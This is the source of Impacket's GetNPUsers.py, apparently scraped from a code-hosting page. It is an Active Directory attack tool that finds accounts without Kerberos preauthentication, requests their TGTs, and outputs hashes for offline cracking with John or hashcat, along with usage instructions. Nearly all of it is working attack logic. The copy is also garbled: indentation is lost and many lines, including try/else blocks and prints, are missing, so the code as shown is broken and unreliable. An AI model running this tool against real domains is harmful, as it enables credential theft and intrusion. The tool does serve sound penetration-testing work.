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executable file 432 lines (364 sloc) 18.9 KB
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
# Description:
# This script will attempt to list and get TGTs for those users that have the property
# 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH).
# For those users with such configuration, a John The Ripper output will be generated so
# you can send it for cracking.
# Original credit for this technique goes to @harmj0y:
# Related work by Geoff Janjua:
# For usage instructions run the script with no parameters.
# Author:
# Alberto Solino (@agsolino)
from __future__ import division
from __future__ import print_function
import argparse
import datetime
import logging
import random
import sys
from binascii import hexlify
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket import version
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter
from impacket.krb5.kerberosv5 import sendReceive, KerberosError
from impacket.krb5.types import KerberosTime, Principal
from impacket.ldap import ldap, ldapasn1
from impacket.smbconnection import SMBConnection
class GetUserNoPreAuth:
def printTable(items, header):
colLen = []
for i, col in enumerate(header):
rowMaxLen = max([len(row[i]) for row in items])
colLen.append(max(rowMaxLen, len(col)))
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
# Print header
print(' '.join(['-' * itemLen for itemLen in colLen]))
# And now the rows
for row in items:
def __init__(self, username, password, domain, cmdLineOptions):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__no_pass = cmdLineOptions.no_pass
self.__outputFileName = cmdLineOptions.outputfile
self.__outputFormat = cmdLineOptions.format
self.__usersFile = cmdLineOptions.usersfile
self.__aesKey = cmdLineOptions.aesKey
self.__doKerberos = cmdLineOptions.k
self.__requestTGT = cmdLineOptions.request
self.__kdcHost = cmdLineOptions.dc_ip
if cmdLineOptions.hashes is not None:
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
# Create the baseDN
domainParts = self.__domain.split('.')
self.baseDN = ''
for i in domainParts:
self.baseDN += 'dc=%s,' % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
def getMachineName(self):
if self.__kdcHost is not None:
s = SMBConnection(self.__kdcHost, self.__kdcHost)
s = SMBConnection(self.__domain, self.__domain)
s.login('', '')
except Exception:
if s.getServerName() == '':
raise Exception('Error while anonymous logging into %s')
return s.getServerName()
def getUnixTime(t):
t -= 116444736000000000
t /= 10000000
return t
def getTGT(self, userName, requestPAC=True):
clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
asReq = AS_REQ()
domain = self.__domain.upper()
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
encodedPacRequest = encoder.encode(pacRequest)
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = noValue
asReq['padata'][0] = noValue
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][0]['padata-value'] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
opts = list()
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
if domain == '':
raise Exception('Empty Domain not allowed in Kerberos')
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
r = sendReceive(message, domain, self.__kdcHost)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# RC4 not available, OK, let's ask for newer types
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
r = sendReceive(message, domain, self.__kdcHost)
raise e
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
# Most of the times we shouldn't be here, is this a TGT?
asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
# The user doesn't have UF_DONT_REQUIRE_PREAUTH set
raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)
if self.__outputFormat == 'john':
# Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,
# Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
def outputTGT(entry, fd=None):
if fd is None:
fd.write(entry + '\n')
def run(self):
if self.__usersFile:
if self.__doKerberos:
target = self.getMachineName()
if self.__kdcHost is not None:
target = self.__kdcHost
target = self.__domain
# Are we asked not to supply a password?
if self.__doKerberos is False and self.__no_pass is True:
# Yes, just ask the TGT and exit'Getting TGT for %s' % self.__username)
entry = self.getTGT(self.__username)
self.outputTGT(entry, None)
# Connect to LDAP
ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
except ldap.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
# Cannot authenticate, we will try to get this users' TGT (hoping it has PreAuth disabled)'Cannot authenticate %s, getting its TGT' % self.__username)
entry = self.getTGT(self.__username)
self.outputTGT(entry, None)
# Building the search filter
searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
logging.debug('Search Filter=%s' % searchFilter)
resp =,
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
except ldap.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Skipping item, cannot process due to error %s' % str(e))
if len(answers)>0:
self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"])
if self.__requestTGT is True:
usernames = [answer[0] for answer in answers]
print("No entries found!")
def request_users_file_TGTs(self):
with open(self.__usersFile) as fi:
usernames = [line.strip() for line in fi]
def request_multiple_TGTs(self, usernames):
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
fd = None
for username in usernames:
entry = self.getTGT(username)
self.outputTGT(entry, fd)
except Exception as e:
logging.error('%s' % str(e))
if fd is not None:
# Process command-line arguments.
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users with "
"'Do not require Kerberos preauthentication' set and export their TGTs for cracking")
parser.add_argument('target', action='store', help='domain/username[:password]')
parser.add_argument('-request', action='store_true', default=False, help='Requests TGT for users and output them '
'in JtR/hashcat format (default False)')
parser.add_argument('-outputfile', action='store',
help='Output filename to write ciphers in JtR/hashcat format')
parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat',
help='format to save the AS_REQ of users without pre-authentication. Default is hashcat')
parser.add_argument('-usersfile', help='File with user per line to test')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) '
'specified in the target parameter')
if len(sys.argv)==1:
print("\nThere are a few modes for using this script")
print("\n1. Get a TGT for a user:")
print("\n\ -no-pass")
print("\nFor this operation you don\'t need john.doe\'s password. It is important tho, to specify -no-pass in the script, "
"\notherwise a badpwdcount entry will be added to the user")
print("\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set")
print("\n\ or")
print("\nThis will list all the users in the domain that have UF_DONT_REQUIRE_PREAUTH set. \nHowever "
"it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)")
print("\n3. Request TGTs for all users")
print("\n\ -request or")
print("\n4. Request TGTs for users in a file")
print("\n\ -no-pass -usersfile users.txt")
print("\nFor this operation you don\'t need credentials.")
options = parser.parse_args()
# Init the example's logger theme
if options.debug is True:
# Print the Library's installation path
domain, username, password = parse_credentials(
if domain == '':
logging.critical('Domain should be specified!')
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.k is False and options.no_pass is True and username == '' and options.usersfile is None:
logging.critical('If the -no-pass option was specified, but Kerberos (-k) is not used, then a username or the -usersfile option should be specified!')
if options.outputfile is not None:
options.request = True
executer = GetUserNoPreAuth(username, password, domain, options)
except Exception as e:
logging.debug("Exception:", exc_info=True)